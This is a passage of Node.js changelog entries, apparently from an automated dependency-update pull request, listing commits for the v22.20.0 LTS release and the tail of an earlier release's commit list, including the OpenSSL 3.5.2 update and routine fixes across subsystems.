--max-old-space-size (Asaf Federman)
[#&#8203;59082](https://redirect.github.com/nodejs/node/pull/59082)
-
\[[`84701ff668`](https://redirect.github.com/nodejs/node/commit/84701ff668)]
- **src**: clear all linked module caches once instantiated (Chengzhong
Wu) [#&#8203;59117](https://redirect.github.com/nodejs/node/pull/59117)
-
\[[`8e182e561f`](https://redirect.github.com/nodejs/node/commit/8e182e561f)]
- **src**: remove unnecessary `Environment::GetCurrent()` calls (Moonki
Choi)
[#&#8203;59814](https://redirect.github.com/nodejs/node/pull/59814)
-
\[[`c9cde35c4d`](https://redirect.github.com/nodejs/node/commit/c9cde35c4d)]
- **src**: simplify is\_callable by making it a concept (Tobias Nießen)
[#&#8203;58169](https://redirect.github.com/nodejs/node/pull/58169)
-
\[[`892b425ee1`](https://redirect.github.com/nodejs/node/commit/892b425ee1)]
- **src**: rename private fields to follow naming convention (Moonki
Choi)
[#&#8203;59923](https://redirect.github.com/nodejs/node/pull/59923)
-
\[[`36b68db7f5`](https://redirect.github.com/nodejs/node/commit/36b68db7f5)]
- **src**: reduce the nearest parent package JSON cache size (Michael
Smith)
[#&#8203;59888](https://redirect.github.com/nodejs/node/pull/59888)
-
\[[`26b40bad02`](https://redirect.github.com/nodejs/node/commit/26b40bad02)]
- **src**: replace FIXED\_ONE\_BYTE\_STRING with Environment-cached
strings (Moonki Choi)
[#&#8203;59891](https://redirect.github.com/nodejs/node/pull/59891)
-
\[[`34dcb7dc32`](https://redirect.github.com/nodejs/node/commit/34dcb7dc32)]
- **src**: create strings in `FIXED_ONE_BYTE_STRING` as internalized
(Anna Henningsen)
[#&#8203;59826](https://redirect.github.com/nodejs/node/pull/59826)
-
\[[`4d748add05`](https://redirect.github.com/nodejs/node/commit/4d748add05)]
- **src**: remove `std::array` overload of `FIXED_ONE_BYTE_STRING` (Anna
Henningsen)
[#&#8203;59826](https://redirect.github.com/nodejs/node/pull/59826)
-
\[[`bb6fd7c2d1`](https://redirect.github.com/nodejs/node/commit/bb6fd7c2d1)]
- **src**: ensure `v8::Eternal` is empty before setting it (Anna
Henningsen)
[#&#8203;59825](https://redirect.github.com/nodejs/node/pull/59825)
-
\[[`7a91282bf9`](https://redirect.github.com/nodejs/node/commit/7a91282bf9)]
- **src**: use simdjson::pad (0hm☘️)
[#&#8203;59391](https://redirect.github.com/nodejs/node/pull/59391)
-
\[[`ba00875f01`](https://redirect.github.com/nodejs/node/commit/ba00875f01)]
- **stream**: use new AsyncResource instead of bind (Matteo Collina)
[#&#8203;59867](https://redirect.github.com/nodejs/node/pull/59867)
-
\[[`ebec3ef68b`](https://redirect.github.com/nodejs/node/commit/ebec3ef68b)]
- **(SEMVER-MINOR)** **test**: move http proxy tests to
test/client-proxy (Joyee Cheung)
[#&#8203;58980](https://redirect.github.com/nodejs/node/pull/58980)
-
\[[`7067d79fb3`](https://redirect.github.com/nodejs/node/commit/7067d79fb3)]
- **test**: mark sea tests flaky on macOS x64 (Richard Lau)
[#&#8203;60068](https://redirect.github.com/nodejs/node/pull/60068)
-
\[[`ca1942c9d5`](https://redirect.github.com/nodejs/node/commit/ca1942c9d5)]
- **test**: testcase demonstrating issue 59541 (Eric Rannaud)
[#&#8203;59801](https://redirect.github.com/nodejs/node/pull/59801)
-
\[[`660d57355e`](https://redirect.github.com/nodejs/node/commit/660d57355e)]
- **test,doc**: skip --max-old-space-size-percentage on 32-bit platforms
(Asaf Federman)
[#&#8203;60144](https://redirect.github.com/nodejs/node/pull/60144)
-
\[[`19a7b1ef26`](https://redirect.github.com/nodejs/node/commit/19a7b1ef26)]
- **tls**: load bundled and extra certificates off-thread (Joyee Cheung)
[#&#8203;59856](https://redirect.github.com/nodejs/node/pull/59856)
-
\[[`095e7a81fc`](https://redirect.github.com/nodejs/node/commit/095e7a81fc)]
- **tls**: only do off-thread certificate loading on loading tls (Joyee
Cheung)
[#&#8203;59856](https://redirect.github.com/nodejs/node/pull/59856)
-
\[[`c42c1204c7`](https://redirect.github.com/nodejs/node/commit/c42c1204c7)]
- **tools**: fix `tools/make-v8.sh` for clang (Richard Lau)
[#&#8203;59893](https://redirect.github.com/nodejs/node/pull/59893)
-
\[[`b632a1d98d`](https://redirect.github.com/nodejs/node/commit/b632a1d98d)]
- **tools**: skip test-internet workflow for draft PRs (Michaël Zasso)
[#&#8203;59817](https://redirect.github.com/nodejs/node/pull/59817)
-
\[[`6021c3ac76`](https://redirect.github.com/nodejs/node/commit/6021c3ac76)]
- **tools**: copyedit `build-tarball.yml` (Antoine du Hamel)
[#&#8203;59808](https://redirect.github.com/nodejs/node/pull/59808)
-
\[[`ef005d0c9b`](https://redirect.github.com/nodejs/node/commit/ef005d0c9b)]
- **typings**: update 'types' binding (René)
[#&#8203;59692](https://redirect.github.com/nodejs/node/pull/59692)
-
\[[`28ef564ecd`](https://redirect.github.com/nodejs/node/commit/28ef564ecd)]
- **typings**: remove unused imports (Nam Yooseong)
[#&#8203;59880](https://redirect.github.com/nodejs/node/pull/59880)
-
\[[`f88752ddb6`](https://redirect.github.com/nodejs/node/commit/f88752ddb6)]
- **url**: replaced slice with at (Mikhail)
[#&#8203;59181](https://redirect.github.com/nodejs/node/pull/59181)
-
\[[`24c224960c`](https://redirect.github.com/nodejs/node/commit/24c224960c)]
- **url**: add type checking to urlToHttpOptions() (simon-id)
[#&#8203;59753](https://redirect.github.com/nodejs/node/pull/59753)
-
\[[`f2fbcc576d`](https://redirect.github.com/nodejs/node/commit/f2fbcc576d)]
- **util**: fix debuglog.enabled not being present with callback logger
(Ruben Bridgewater)
[#&#8203;59858](https://redirect.github.com/nodejs/node/pull/59858)
-
\[[`6277058e43`](https://redirect.github.com/nodejs/node/commit/6277058e43)]
- **vm**: sync-ify SourceTextModule linkage (Chengzhong Wu)
[#&#8203;59000](https://redirect.github.com/nodejs/node/pull/59000)
-
\[[`5bf21a4309`](https://redirect.github.com/nodejs/node/commit/5bf21a4309)]
- **vm**: explain how to share promises between contexts w/
afterEvaluate (Eric Rannaud)
[#&#8203;59801](https://redirect.github.com/nodejs/node/pull/59801)
-
\[[`312b33a083`](https://redirect.github.com/nodejs/node/commit/312b33a083)]
- **vm**: "afterEvaluate", evaluate() return a promise from the outer
context (Eric Rannaud)
[#&#8203;59801](https://redirect.github.com/nodejs/node/pull/59801)
-
\[[`1eadab863c`](https://redirect.github.com/nodejs/node/commit/1eadab863c)]
- **win,tools**: add description to signature (Martin Costello)
[#&#8203;59877](https://redirect.github.com/nodejs/node/pull/59877)
-
\[[`816e1befb1`](https://redirect.github.com/nodejs/node/commit/816e1befb1)]
- **zlib**: reduce code duplication (jhofstee)
[#&#8203;57810](https://redirect.github.com/nodejs/node/pull/57810)

###
[`v22.20.0`](https://redirect.github.com/nodejs/node/releases/tag/v22.20.0):
2025-09-24, Version 22.20.0 &#x27;Jod&#x27; (LTS), @&#8203;richardlau

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.19.0...v22.20.0)

##### Notable Changes

##### OpenSSL updated to 3.5.2

For official Node.js builds, or builds using the default build
configuration, Node.js now bundles OpenSSL 3.5.2. This update allows
Node.js 22.x to be supported through to the planned End-of-Life date of
2027-04-30 as the previously bundled OpenSSL 3.0.x goes out of support
in September 2026.

This change does not affect third-party builds of Node.js that link to
an external OpenSSL (or OpenSSL-compatible) library.

##### Other notable changes

-
\[[`5b83e1e0a2`](https://redirect.github.com/nodejs/node/commit/5b83e1e0a2)]
- **crypto**: update root certificates to NSS 3.114 (Node.js GitHub Bot)
[#&#8203;59571](https://redirect.github.com/nodejs/node/pull/59571)
-
\[[`34b25fd97b`](https://redirect.github.com/nodejs/node/commit/34b25fd97b)]
- **doc**: stabilize --disable-sigusr1 (Rafael Gonzaga)
[#&#8203;59707](https://redirect.github.com/nodejs/node/pull/59707)
-
\[[`bf41218ed9`](https://redirect.github.com/nodejs/node/commit/bf41218ed9)]
- **doc**: mark `path.matchesGlob` as stable (Aviv Keller)
[#&#8203;59572](https://redirect.github.com/nodejs/node/pull/59572)
-
\[[`1dbad2058f`](https://redirect.github.com/nodejs/node/commit/1dbad2058f)]
- **(SEMVER-MINOR)** **http**: add Agent.agentKeepAliveTimeoutBuffer
option (Haram Jeong)
[#&#8203;59315](https://redirect.github.com/nodejs/node/pull/59315)
-
\[[`062e837d5f`](https://redirect.github.com/nodejs/node/commit/062e837d5f)]
- **(SEMVER-MINOR)** **http2**: add support for raw header arrays in
h2Stream.respond() (Tim Perry)
[#&#8203;59455](https://redirect.github.com/nodejs/node/pull/59455)
-
\[[`b8066611c3`](https://redirect.github.com/nodejs/node/commit/b8066611c3)]
- **inspector**: add http2 tracking support (Darshan Sen)
[#&#8203;59611](https://redirect.github.com/nodejs/node/pull/59611)
-
\[[`9b7dd40da8`](https://redirect.github.com/nodejs/node/commit/9b7dd40da8)]
- **(SEMVER-MINOR)** **sea**: implement execArgvExtension (Joyee Cheung)
[#&#8203;59560](https://redirect.github.com/nodejs/node/pull/59560)
-
\[[`48bfbd3dca`](https://redirect.github.com/nodejs/node/commit/48bfbd3dca)]
- **(SEMVER-MINOR)** **sea**: support execArgv in sea config (Joyee
Cheung)
[#&#8203;59314](https://redirect.github.com/nodejs/node/pull/59314)
-
\[[`cf06e74076`](https://redirect.github.com/nodejs/node/commit/cf06e74076)]
- **(SEMVER-MINOR)** **stream**: add brotli support to CompressionStream
and DecompressionStream (Matthew Aitken)
[#&#8203;59464](https://redirect.github.com/nodejs/node/pull/59464)
-
\[[`62bb80c17e`](https://redirect.github.com/nodejs/node/commit/62bb80c17e)]
- **(SEMVER-MINOR)** **test\_runner**: support object property mocking
(Idan Goshen)
[#&#8203;58438](https://redirect.github.com/nodejs/node/pull/58438)
-
\[[`9e2aa23be9`](https://redirect.github.com/nodejs/node/commit/9e2aa23be9)]
- **(SEMVER-MINOR)** **worker**: add cpu profile APIs for worker
(theanarkh)
[#&#8203;59428](https://redirect.github.com/nodejs/node/pull/59428)

##### Commits

-
\[[`b7b78fd565`](https://redirect.github.com/nodejs/node/commit/b7b78fd565)]
- **assert**: cap input size in myersDiff to avoid Int32Array overflow
(Haram Jeong)
[#&#8203;59578](https://redirect.github.com/nodejs/node/pull/59578)
-
\[[`9da50a6c53`](https://redirect.github.com/nodejs/node/commit/9da50a6c53)]
- **benchmark**: sqlite prevent create both tables on prepare selects
(Bruno Rodrigues)
[#&#8203;59709](https://redirect.github.com/nodejs/node/pull/59709)
-
\[[`4c1538770e`](https://redirect.github.com/nodejs/node/commit/4c1538770e)]
- **benchmark**: calibrate config array-vs-concat (Rafael Gonzaga)
[#&#8203;59587](https://redirect.github.com/nodejs/node/pull/59587)
-
\[[`fc3f82d683`](https://redirect.github.com/nodejs/node/commit/fc3f82d683)]
- **benchmark**: calibrate config v8/serialize.js (Rafael Gonzaga)
[#&#8203;59586](https://redirect.github.com/nodejs/node/pull/59586)
-
\[[`e95c9b2950`](https://redirect.github.com/nodejs/node/commit/e95c9b2950)]
- **benchmark**: reduce readfile-permission-enabled config (Rafael
Gonzaga)
[#&#8203;59589](https://redirect.github.com/nodejs/node/pull/59589)
-
\[[`e4fea38b31`](https://redirect.github.com/nodejs/node/commit/e4fea38b31)]
- **benchmark**: calibrate length of util.diff (Rafael Gonzaga)
[#&#8203;59588](https://redirect.github.com/nodejs/node/pull/59588)
-
\[[`c5d68c4a0f`](https://redirect.github.com/nodejs/node/commit/c5d68c4a0f)]
- **benchmark, test**: replace CRLF variable with string literal (Lee
Jiho)
[#&#8203;59466](https://redirect.github.com/nodejs/node/pull/59466)
-
\[[`129a1d673b`](https://redirect.github.com/nodejs/node/commit/129a1d673b)]
- **build**: fix getting OpenSSL version on Windows (Michaël Zasso)
[#&#8203;59609](https://redirect.github.com/nodejs/node/pull/59609)
-
\[[`9f53db7162`](https://redirect.github.com/nodejs/node/commit/9f53db7162)]
- **build**: fix 'implicit-function-declaration' on OpenHarmony platform
(hqzing)
[#&#8203;59547](https://redirect.github.com/nodejs/node/pull/59547)
-
\[[`3839593e07`](https://redirect.github.com/nodejs/node/commit/3839593e07)]
- **build**: use `windows-2025` runner (Michaël Zasso)
[#&#8203;59673](https://redirect.github.com/nodejs/node/pull/59673)
-
\[[`e430464669`](https://redirect.github.com/nodejs/node/commit/e430464669)]
- **build**: compile bundled uvwasi conditionally (Carlo Cabrera)
[#&#8203;59622](https://redirect.github.com/nodejs/node/pull/59622)
-
\[[`e2c9cab0cd`](https://redirect.github.com/nodejs/node/commit/e2c9cab0cd)]
- **build**: do not set `-mminimal-toc` with `clang` (Richard Lau)
[#&#8203;59484](https://redirect.github.com/nodejs/node/pull/59484)
-
\[[`208bc810a1`](https://redirect.github.com/nodejs/node/commit/208bc810a1)]
- **child\_process**: remove unsafe array iteration (hotpineapple)
[#&#8203;59347](https://redirect.github.com/nodejs/node/pull/59347)
-
\[[`d74799d90c`](https://redirect.github.com/nodejs/node/commit/d74799d90c)]
- **crypto**: load system CA certificates off thread (Joyee Cheung)
[#&#8203;59550](https://redirect.github.com/nodejs/node/pull/59550)
-
\[[`5b83e1e0a2`](https://redirect.github.com/nodejs/node/commit/5b83e1e0a2)]
- **crypto**: update root certificates to NSS 3.114 (Node.js GitHub Bot)
[#&#8203;59571](https://redirect.github.com/nodejs/node/pull/59571)
-
\[[`d289b1d1af`](https://redirect.github.com/nodejs/node/commit/d289b1d1af)]
- **deps**: V8: cherry-pick
[`e3df60f`](https://redirect.github.com/nodejs/node/commit/e3df60f3f5ab)
(Chengzhong Wu)
[#&#8203;58691](https://redirect.github.com/nodejs/node/pull/58691)
-
\[[`cf5d91e2a6`](https://redirect.github.com/nodejs/node/commit/cf5d91e2a6)]
- **deps**: update uvwasi to 0.0.23 (Node.js GitHub Bot)
[#&#8203;59791](https://redirect.github.com/nodejs/node/pull/59791)
-
\[[`1cf24a0445`](https://redirect.github.com/nodejs/node/commit/1cf24a0445)]
- **deps**: update histogram to 0.11.9 (Node.js GitHub Bot)
[#&#8203;59689](https://redirect.github.com/nodejs/node/pull/59689)
-
\[[`8638bd3f2e`](https://redirect.github.com/nodejs/node/commit/8638bd3f2e)]
- **deps**: update googletest to
[`eb2d85e`](https://redirect.github.com/nodejs/node/commit/eb2d85e)
(Node.js GitHub Bot)
[#&#8203;59335](https://redirect.github.com/nodejs/node/pull/59335)
-
\[[`3ff4eb5b37`](https://redirect.github.com/nodejs/node/commit/3ff4eb5b37)]
- **deps**: update amaro to 1.1.2 (Node.js GitHub Bot)
[#&#8203;59616](https://redirect.github.com/nodejs/node/pull/59616)
-
\[[`4d268ac034`](https://redirect.github.com/nodejs/node/commit/4d268ac034)]
- **deps**: V8: cherry-pick
[`7b91e3e`](https://redirect.github.com/nodejs/node/commit/7b91e3e2cbaf)
(Milad Fa)
[#&#8203;59485](https://redirect.github.com/nodejs/node/pull/59485)
-
\[[`83410eb0e3`](https://redirect.github.com/nodejs/node/commit/83410eb0e3)]
- **deps**: V8: cherry-pick
[`59d52e3`](https://redirect.github.com/nodejs/node/commit/59d52e311bb1)
(Milad Fa)
[#&#8203;59485](https://redirect.github.com/nodejs/node/pull/59485)
-
\[[`5780af02cb`](https://redirect.github.com/nodejs/node/commit/5780af02cb)]
- **deps**: update amaro to 1.1.1 (Node.js GitHub Bot)
[#&#8203;59141](https://redirect.github.com/nodejs/node/pull/59141)
-
\[[`2986eca821`](https://redirect.github.com/nodejs/node/commit/2986eca821)]
- **deps**: V8: cherry-pick
[`6b1b9bc`](https://redirect.github.com/nodejs/node/commit/6b1b9bca2a8)
(zhoumingtao)
[#&#8203;59283](https://redirect.github.com/nodejs/node/pull/59283)
-
\[[`98e399b3ea`](https://redirect.github.com/nodejs/node/commit/98e399b3ea)]
- **deps**: update archs files for openssl-3.5.2 (Node.js GitHub Bot)
[#&#8203;59371](https://redirect.github.com/nodejs/node/pull/59371)
-
\[[`2b983a7520`](https://redirect.github.com/nodejs/node/commit/2b983a7520)]
- **deps**: upgrade openssl sources to openssl-3.5.2 (Node.js GitHub
Bot) [#&#8203;59371](https://redirect.github.com/nodejs/node/pull/59371)
-
\[[`7ffbb42454`](https://redirect.github.com/nodejs/node/commit/7ffbb42454)]
- **deps**: update archs files for openssl-3.5.1 (Node.js GitHub Bot)
[#&#8203;59234](https://redirect.github.com/nodejs/node/pull/59234)
-
\[[`bd48a60a75`](https://redirect.github.com/nodejs/node/commit/bd48a60a75)]
- **deps**: upgrade openssl sources to openssl-3.5.1 (Node.js GitHub
Bot) [#&#8203;59234](https://redirect.github.com/nodejs/node/pull/59234)
-
\[[`24762a10ca`](https://redirect.github.com/nodejs/node/commit/24762a10ca)]
- **deps**: fix OpenSSL security level at 1 (Richard Lau)
[#&#8203;59859](https://redirect.github.com/nodejs/node/pull/59859)
-
\[[`1233e92d10`](https://redirect.github.com/nodejs/node/commit/1233e92d10)]
- **diagnostics\_channel**: revoke DEP0163 (René)
[#&#8203;59758](https://redirect.github.com/nodejs/node/pull/59758)
-
\[[`34b25fd97b`](https://redirect.github.com/nodejs/node/commit/34b25fd97b)]
- **doc**: stabilize --disable-sigusr1 (Rafael Gonzaga)
[#&#8203;59707](https://redirect.github.com/nodejs/node/pull/59707)
-
\[[`d7adf8be64`](https://redirect.github.com/nodejs/node/commit/d7adf8be64)]
- **doc**: update "Type stripping in dependencies" section (Josh Kelley)
[#&#8203;59652](https://redirect.github.com/nodejs/node/pull/59652)
-
\[[`a1d7e4fdbf`](https://redirect.github.com/nodejs/node/commit/a1d7e4fdbf)]
- **doc**: add Miles Guicent as triager (Miles Guicent)
[#&#8203;59562](https://redirect.github.com/nodejs/node/pull/59562)
-
\[[`bf41218ed9`](https://redirect.github.com/nodejs/node/commit/bf41218ed9)]
- **doc**: mark `path.matchesGlob` as stable (Aviv Keller)
[#&#8203;59572](https://redirect.github.com/nodejs/node/pull/59572)
-
\[[`afaa1ccb74`](https://redirect.github.com/nodejs/node/commit/afaa1ccb74)]
- **doc**: improve documentation for raw headers in HTTP/2 APIs (Tim
Perry)
[#&#8203;59633](https://redirect.github.com/nodejs/node/pull/59633)
-
\[[`b95ff56102`](https://redirect.github.com/nodejs/node/commit/b95ff56102)]
- **doc**: update install\_tools.bat free disk space (Stefan Stojanovic)
[#&#8203;59579](https://redirect.github.com/nodejs/node/pull/59579)
-
\[[`6ff939b8d3`](https://redirect.github.com/nodejs/node/commit/6ff939b8d3)]
- **doc**: fix filehandle.read typo (Ruy Adorno)
[#&#8203;59635](https://redirect.github.com/nodejs/node/pull/59635)
-
\[[`963bfa9d6f`](https://redirect.github.com/nodejs/node/commit/963bfa9d6f)]
- **doc**: fix missing link to the Error documentation in the `http`
page (Alexander Makarenko)
[#&#8203;59080](https://redirect.github.com/nodejs/node/pull/59080)
-
\[[`0e10a8ea27`](https://redirect.github.com/nodejs/node/commit/0e10a8ea27)]
- **doc**: improve `sqlite.backup()` progress/fulfillment documentation
(René)
[#&#8203;59598](https://redirect.github.com/nodejs/node/pull/59598)
-
\[[`18ceefbabd`](https://redirect.github.com/nodejs/node/commit/18ceefbabd)]
- **doc**: clarify experimental platform vulnerability policy (Matteo
Collina)
[#&#8203;59591](https://redirect.github.com/nodejs/node/pull/59591)
-
\[[`66cdd00368`](https://redirect.github.com/nodejs/node/commit/66cdd00368)]
- **doc**: link to `TypedArray.from()` in signature (Aviv Keller)
[#&#8203;59226](https://redirect.github.com/nodejs/node/pull/59226)
-
\[[`9f058ce7c0`](https://redirect.github.com/nodejs/node/commit/9f058ce7c0)]
- **doc**: fix typos in `environment_variables.md` (PhistucK)
[#&#8203;59536](https://redirect.github.com/nodejs/node/pull/59536)
-
\[[`3cfec820e9`](https://redirect.github.com/nodejs/node/commit/3cfec820e9)]
- **doc**: add security incident reponse plan (Rafael Gonzaga)
[#&#8203;59470](https://redirect.github.com/nodejs/node/pull/59470)
-
\[[`46aa3434e6`](https://redirect.github.com/nodejs/node/commit/46aa3434e6)]
- **doc**: clarify maxRSS unit in `process.resourceUsage()` (Alex Yang)
[#&#8203;59511](https://redirect.github.com/nodejs/node/pull/59511)
-
\[[`adf98f600a`](https://redirect.github.com/nodejs/node/commit/adf98f600a)]
- **doc**: add missing Zstd strategy constants (RANDRIAMANANTENA
Narindra Tiana Annaick)
[#&#8203;59312](https://redirect.github.com/nodejs/node/pull/59312)
-
\[[`f335989942`](https://redirect.github.com/nodejs/node/commit/f335989942)]
- **doc**: fix the version tls.DEFAULT\_CIPHERS was added (Allon
Murienik)
[#&#8203;59247](https://redirect.github.com/nodejs/node/pull/59247)
-
\[[`7fa14fcf54`](https://redirect.github.com/nodejs/node/commit/7fa14fcf54)]
- **doc**: clarify glob's exclude option behavior (hotpineapple)
[#&#8203;59245](https://redirect.github.com/nodejs/node/pull/59245)
-
\[[`85b8d255c9`](https://redirect.github.com/nodejs/node/commit/85b8d255c9)]
- **doc**: add RafaelGSS as performance strategic lead (Rafael Gonzaga)
[#&#8203;59445](https://redirect.github.com/nodejs/node/pull/59445)
-
\[[`16b1f7a602`](https://redirect.github.com/nodejs/node/commit/16b1f7a602)]
- **doc**: add new environment variables doc page (Dario Piotrowicz)
[#&#8203;59052](https://redirect.github.com/nodejs/node/pull/59052)
-
\[[`b4a43ed83a`](https://redirect.github.com/nodejs/node/commit/b4a43ed83a)]
- **doc**: add missing environment variables to manpage (amir lavasani)
[#&#8203;58963](https://redirect.github.com/nodejs/node/pull/58963)
-
\[[`c923cfe898`](https://redirect.github.com/nodejs/node/commit/c923cfe898)]
- **doc**: fix links in test.md (Vas Sudanagunta)
[#&#8203;58876](https://redirect.github.com/nodejs/node/pull/58876)
-
\[[`a93a8b5eda`](https://redirect.github.com/nodejs/node/commit/a93a8b5eda)]
- **doc**: mark type stripping as release candidate (Marco Ippolito)
[#&#8203;57705](https://redirect.github.com/nodejs/node/pull/57705)
-
\[[`d302cb3bb2`](https://redirect.github.com/nodejs/node/commit/d302cb3bb2)]
- **esm**: add experimental support for addon modules (Chengzhong Wu)
[#&#8203;55844](https://redirect.github.com/nodejs/node/pull/55844)
-
\[[`d55c3e7f0b`](https://redirect.github.com/nodejs/node/commit/d55c3e7f0b)]
- **esm**: link modules synchronously when no async loader hooks are
used (Joyee Cheung)
[#&#8203;59519](https://redirect.github.com/nodejs/node/pull/59519)
-
\[[`9e1fbb620f`](https://redirect.github.com/nodejs/node/commit/9e1fbb620f)]
- **esm**: show race error message for inner module job race (Joyee
Cheung)
[#&#8203;59519](https://redirect.github.com/nodejs/node/pull/59519)
-
\[[`8c4dcd5199`](https://redirect.github.com/nodejs/node/commit/8c4dcd5199)]
- **esm**: sync-ify module translation (Joyee Cheung)
[#&#8203;59453](https://redirect.github.com/nodejs/node/pull/59453)
-
\[[`71038932d3`](https://redirect.github.com/nodejs/node/commit/71038932d3)]
- **fs**: fix wrong order of file names in cpSync error message
(Nicholas Paun)
[#&#8203;59775](https://redirect.github.com/nodejs/node/pull/59775)
-
\[[`5692dec451`](https://redirect.github.com/nodejs/node/commit/5692dec451)]
- **fs**: fix dereference: false on cpSync (Nicholas Paun)
[#&#8203;59681](https://redirect.github.com/nodejs/node/pull/59681)
-
\[[`dafd561d37`](https://redirect.github.com/nodejs/node/commit/dafd561d37)]
- **fs**: fix return value of fs APIs (theanarkh)
[#&#8203;58996](https://redirect.github.com/nodejs/node/pull/58996)
-
\[[`da6e8cb75b`](https://redirect.github.com/nodejs/node/commit/da6e8cb75b)]
- **http**: unbreak keepAliveTimeoutBuffer (Robert Nagy)
[#&#8203;59784](https://redirect.github.com/nodejs/node/pull/59784)
-
\[[`673a48f0a2`](https://redirect.github.com/nodejs/node/commit/673a48f0a2)]
- **http**: use cached '1.1' http version string (Robert Nagy)
[#&#8203;59717](https://redirect.github.com/nodejs/node/pull/59717)
-
\[[`1dbad2058f`](https://redirect.github.com/nodejs/node/commit/1dbad2058f)]
- **(SEMVER-MINOR)** **http**: add Agent.agentKeepAliveTimeoutBuffer
option (Haram Jeong)
[#&#8203;59315](https://redirect.github.com/nodejs/node/pull/59315)
-
\[[`062e837d5f`](https://redirect.github.com/nodejs/node/commit/062e837d5f)]
- **(SEMVER-MINOR)** **http2**: add support for raw header arrays in
h2Stream.respond() (Tim Perry)
[#&#8203;59455](https://redirect.github.com/nodejs/node/pull/59455)
-
\[[`4d4fb51b89`](https://redirect.github.com/nodejs/node/commit/4d4fb51b89)]
- **http2**: report sent headers object in client stream dcs (Darshan
Sen) [#&#8203;59419](https://redirect.github.com/nodejs/node/pull/59419)
-
\[[`b8066611c3`](https://redirect.github.com/nodejs/node/commit/b8066611c3)]
- **inspector**: add http2 tracking support (Darshan Sen)
[#&#8203;59611](https://redirect.github.com/nodejs/node/pull/59611)
-
\[[`9b2c013032`](https://redirect.github.com/nodejs/node/commit/9b2c013032)]
- **inspector**: prevent propagation of promise hooks to noPromise hooks
(Shima Ryuhei)
[#&#8203;58841](https://redirect.github.com/nodejs/node/pull/58841)
-
\[[`a2329895e7`](https://redirect.github.com/nodejs/node/commit/a2329895e7)]
- **lib**: fix DOMException subclass support (Chengzhong Wu)
[#&#8203;59680](https://redirect.github.com/nodejs/node/pull/59680)
-
\[[`edb9248bdd`](https://redirect.github.com/nodejs/node/commit/edb9248bdd)]
- **lib**: make domexception a native error (Chengzhong Wu)
[#&#8203;58691](https://redirect.github.com/nodejs/node/pull/58691)
-
\[[`ccf29cda19`](https://redirect.github.com/nodejs/node/commit/ccf29cda19)]
- ***Revert*** "**lib**: optimize writable stream buffer clearing" (Yoo)
[#&#8203;59743](https://redirect.github.com/nodejs/node/pull/59743)
-
\[[`f291eda277`](https://redirect.github.com/nodejs/node/commit/f291eda277)]
- **lib**: fix isReadable and isWritable return type value (Gabriel
Quaresma)
[#&#8203;59089](https://redirect.github.com/nodejs/node/pull/59089)
-
\[[`10ae8684ea`](https://redirect.github.com/nodejs/node/commit/10ae8684ea)]
- **lib**: revert to using default derived class constructors (René)
[#&#8203;59650](https://redirect.github.com/nodejs/node/pull/59650)
-
\[[`5d3b80d62d`](https://redirect.github.com/nodejs/node/commit/5d3b80d62d)]
- **lib**: do not modify prototype deprecated asyncResource (encore)
(Szymon Łągiewka)
[#&#8203;59518](https://redirect.github.com/nodejs/node/pull/59518)
-
\[[`3c4541f878`](https://redirect.github.com/nodejs/node/commit/3c4541f878)]
- **lib**: simplify IPv6 checks in isLoopback() (Krishnadas)
[#&#8203;59375](https://redirect.github.com/nodejs/node/pull/59375)
-
\[[`0b631bbffa`](https://redirect.github.com/nodejs/node/commit/0b631bbffa)]
- **lib**: handle windows reserved device names on UNC (Rafael Gonzaga)
[#&#8203;59286](https://redirect.github.com/nodejs/node/pull/59286)
-
\[[`297f62ba1f`](https://redirect.github.com/nodejs/node/commit/297f62ba1f)]
- **meta**: bump `codecov/codecov-action` (dependabot\[bot])
[#&#8203;59726](https://redirect.github.com/nodejs/node/pull/59726)
-
\[[`3dcd8446b6`](https://redirect.github.com/nodejs/node/commit/3dcd8446b6)]
- **meta**: bump actions/download-artifact from 4.3.0 to 5.0.0
(dependabot\[bot])
[#&#8203;59729](https://redirect.github.com/nodejs/node/pull/59729)
-
\[[`d0d357f683`](https://redirect.github.com/nodejs/node/commit/d0d357f683)]
- **meta**: bump github/codeql-action from 3.29.2 to 3.30.0
(dependabot\[bot])
[#&#8203;59728](https://redirect.github.com/nodejs/node/pull/59728)
-
\[[`2a0e264949`](https://redirect.github.com/nodejs/node/commit/2a0e264949)]
- **meta**: bump actions/cache from 4.2.3 to 4.2.4 (dependabot\[bot])
[#&#8203;59727](https://redirect.github.com/nodejs/node/pull/59727)
-
\[[`0a013d1da1`](https://redirect.github.com/nodejs/node/commit/0a013d1da1)]
- **meta**: bump actions/checkout from 4.2.2 to 5.0.0 (dependabot\[bot])
[#&#8203;59725](https://redirect.github.com/nodejs/node/pull/59725)
-
\[[`c690b53d24`](https://redirect.github.com/nodejs/node/commit/c690b53d24)]
- **meta**: update devcontainer to the latest schema (Aviv Keller)
[#&#8203;54347](https://redirect.github.com/nodejs/node/pull/54347)
-
\[[`61171c7756`](https://redirect.github.com/nodejs/node/commit/61171c7756)]
- **module**: correctly detect top-level await in ambiguous contexts
(Shima Ryuhei)
[#&#8203;58646](https://redirect.github.com/nodejs/node/pull/58646)
-
\[[`75bf3f4a87`](https://redirect.github.com/nodejs/node/commit/75bf3f4a87)]
- **node-api**: link to other programming language bindings (Chengzhong
Wu) [#&#8203;59516](https://redirect.github.com/nodejs/node/pull/59516)
-
\[[`9a05107558`](https://redirect.github.com/nodejs/node/commit/9a05107558)]
- **node-api**: clarify enum value ABI stability (Chengzhong Wu)
[#&#8203;59085](https://redirect.github.com/nodejs/node/pull/59085)
-
\[[`658c31d60c`](https://redirect.github.com/nodejs/node/commit/658c31d60c)]
- **path**: refactor path joining logic for clarity and performance (Lee
Jiho)
[#&#8203;59781](https://redirect.github.com/nodejs/node/pull/59781)
-
\[[`9cc89f55f7`](https://redirect.github.com/nodejs/node/commit/9cc89f55f7)]
- **path,win**: fix bug in resolve and normalize (Hüseyin Açacak)
[#&#8203;55623](https://redirect.github.com/nodejs/node/pull/55623)
-
\[[`24e825f8f5`](https://redirect.github.com/nodejs/node/commit/24e825f8f5)]
- **sea**: implement sea.getAssetKeys() (Joyee Cheung)
[#&#8203;59661](https://redirect.github.com/nodejs/node/pull/59661)
-
\[[`c66af21e55`](https://redirect.github.com/nodejs/node/commit/c66af21e55)]
- **sea**: allow using inspector command line flags with SEA (Joyee
Cheung)
[#&#8203;59568](https://redirect.github.com/nodejs/node/pull/59568)
-
\[[`9b7dd40da8`](https://redirect.github.com/nodejs/node/commit/9b7dd40da8)]
- **(SEMVER-MINOR)** **sea**: implement execArgvExtension (Joyee Cheung)
[#&#8203;59560](https://redirect.github.com/nodejs/node/pull/59560)
-
